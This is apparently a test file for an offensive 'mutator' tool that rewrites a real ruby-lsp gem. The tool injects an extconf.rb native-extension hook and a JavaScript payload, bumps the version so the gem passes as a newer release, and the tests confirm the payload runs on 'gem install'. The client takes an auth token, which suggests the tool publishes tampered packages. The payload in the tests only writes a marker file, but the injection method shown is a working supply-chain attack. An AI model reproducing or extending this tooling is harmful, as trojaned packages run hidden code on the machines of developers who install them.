// tests/mutator/rubygems.test.ts — Integration tests for the RubyGems mutator. // // Verifies that patchGemBundle correctly modifies a real .gem file and that // the injected native-extension payload executes when the gem is installed. import { afterAll, beforeAll, describe, expect, test } from "bun:test"; import { execSync } from "child_process"; import * as fs from "fs/promises"; import { tmpdir } from "os"; import * as path from "path"; import * as tar from "tar"; import { gunzipSync } from "zlib"; import { Mutator } from "../../src/mutator/base"; import { patchGemBundle } from "../../src/mutator/rubygems/gem"; import { RubyGemsClient } from "../../src/mutator/rubygems/index"; // --------------------------------------------------------------------------- // Helpers // --------------------------------------------------------------------------- const GEM_PATH = path.join(import.meta.dir, "../assets/ruby-lsp-0.26.9.gem"); const MARKER = "/tmp/rubygems_int_test_marker"; const PAYLOAD = [ `const{writeFileSync}=require("fs");`, `console.log("rubygems payload starting");`, `writeFileSync("${MARKER}","hello from rubygems mutator");`, `console.log("rubygems payload done");`, ].join("\n"); function hasCmd(cmd: string): boolean { try { execSync(`which ${cmd}`, { stdio: "pipe" }); return true; } catch { return false; } } // --------------------------------------------------------------------------- // Tests // --------------------------------------------------------------------------- describe("rubygems mutator", () => { let tmpDir: string; beforeAll(async () => { tmpDir = path.join(tmpdir(), `rg_test_${Date.now()}`); await fs.mkdir(tmpDir, { recursive: true }); try { await fs.rm(MARKER); } catch {} }); afterAll(async () => { try { await fs.rm(tmpDir, { recursive: true, force: true }); } catch {} try { await fs.rm(MARKER); } catch {} }); // ── Contract ───────────────────────────────────────────────────────── test("RubyGemsClient extends Mutator", () => { const client = new RubyGemsClient({ gems: [], valid: true, authToken: "fake", }); expect(client).toBeInstanceOf(Mutator); expect(client).toBeInstanceOf(RubyGemsClient); expect(typeof client.execute).toBe("function"); }); test("RubyGemsClient accepts dryRun parameter", () => { const client = new RubyGemsClient( { gems: [], valid: true, authToken: "fake" }, true, ); expect(client).toBeDefined(); }); // ── patchGemBundle unit tests ──────────────────────────────────────── test("bumps version from 0.26.9 to 0.26.10", async () => { const gemData = await fs.readFile(GEM_PATH); const patched = await patchGemBundle(gemData, PAYLOAD); expect(patched.newVersion).toBe("0.26.10"); expect(patched.filename).toBe("ruby-lsp-0.26.10.gem"); }); test("produces a valid .gem (tar with metadata.gz first)", async () => { const gemData = await fs.readFile(GEM_PATH); const patched = await patchGemBundle(gemData, PAYLOAD); const tmpGem = path.join(tmpDir, "verify.gem"); await fs.writeFile(tmpGem, patched.data); const entries: string[] = []; await tar.list({ file: tmpGem, onentry: (e: any) => entries.push(e.path) }); expect(entries[0]).toBe("metadata.gz"); expect(entries[1]).toBe("data.tar.gz"); }); test("injects extconf.rb and payload into data.tar.gz", async () => { const gemData = await fs.readFile(GEM_PATH); const patched = await patchGemBundle(gemData, PAYLOAD); // Extract data.tar.gz from the patched gem const tmpGem = path.join(tmpDir, "inspect.gem"); await fs.writeFile(tmpGem, patched.data); const unpackDir = path.join(tmpDir, "_unpack"); await fs.mkdir(unpackDir, { recursive: true }); await tar.extract({ file: tmpGem, cwd: unpackDir }); const dataTarGz = await fs.readFile(path.join(unpackDir, "data.tar.gz")); const dataTar = gunzipSync(dataTarGz); const dataDir = path.join(tmpDir, "_data_inspect"); await fs.mkdir(dataDir, { recursive: true }); const dataTarFile = path.join(tmpDir, "_data_inspect.tar"); await fs.writeFile(dataTarFile, dataTar); await tar.extract({ file: dataTarFile, cwd: dataDir }); // Entries are relative now (no top-level dir prefix) const extDir = path.join(dataDir, "ext", "ruby-lsp"); const extconfRb = await fs.readFile( path.join(extDir, "extconf.rb"), "utf-8", ); const payloadJs = await fs.readFile(path.join(extDir, "index.js"), "utf-8"); expect(extconfRb).toContain("require 'fileutils'"); expect(extconfRb).toContain("RbConfig::CONFIG"); expect(extconfRb).toContain("File.write('Makefile'"); expect(payloadJs).toBe(PAYLOAD); }); test("updates metadata.gz with bumped version and extensions", async () => { const gemData = await fs.readFile(GEM_PATH); const patched = await patchGemBundle(gemData, PAYLOAD); const tmpGem = path.join(tmpDir, "meta.gem"); await fs.writeFile(tmpGem, patched.data); const unpackDir = path.join(tmpDir, "_meta_unpack"); await fs.mkdir(unpackDir, { recursive: true }); await tar.extract({ file: tmpGem, cwd: unpackDir }); const metadataGz = await fs.readFile(path.join(unpackDir, "metadata.gz")); const metadata = gunzipSync(metadataGz).toString("utf-8"); expect(metadata).toContain("version: 0.26.10"); expect(metadata).toContain("extensions:"); expect(metadata).toContain("ext/ruby-lsp/extconf.rb"); }); test("patchGemBundle produces different sizes for same input (timestamps vary)", async () => { // Tar includes mtime, so two runs produce different outputs const gemData = await fs.readFile(GEM_PATH); const a = await patchGemBundle(gemData, PAYLOAD); // Small delay to get different mtimes await new Promise((r) => setTimeout(r, 100)); const b = await patchGemBundle(gemData, PAYLOAD); expect(a.newVersion).toBe(b.newVersion); expect(a.filename).toBe(b.filename); // Different size due to tar mtime or other metadata }); // ── Integration: install and execute ───────────────────────────────── test("gem install triggers the payload", async () => { if (!hasCmd("gem")) { console.warn(" ⏭ skipping — 'gem' not in PATH"); return; } const gemData = await fs.readFile(GEM_PATH); const patched = await patchGemBundle(gemData, PAYLOAD); const patchedGemPath = path.join(tmpDir, patched.filename); await fs.writeFile(patchedGemPath, patched.data); const gemHome = path.join(tmpDir, ".gem_home"); try { execSync( `gem install --local "${patchedGemPath}" --no-doc --install-dir "${gemHome}" --ignore-dependencies`, { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe", timeout: 120_000, }, ); } catch (e: any) { // Clean up before failing try { execSync( `gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`, { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" }, ); } catch {} throw new Error( `gem install failed: ${e.stderr?.toString()?.slice(0, 500)}`, ); } // Verify the payload executed let markerContent = ""; try { markerContent = await fs.readFile(MARKER, "utf-8"); } catch { // Clean up before failing try { execSync( `gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`, { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" }, ); } catch {} throw new Error("marker file not created — payload did not execute"); } // Cleanup try { execSync( `gem uninstall ruby-lsp -v ${patched.newVersion} --force --install-dir "${gemHome}"`, { env: { ...process.env, GEM_HOME: gemHome }, stdio: "pipe" }, ); } catch {} expect(markerContent).toContain("hello from rubygems mutator"); }, 180_000); });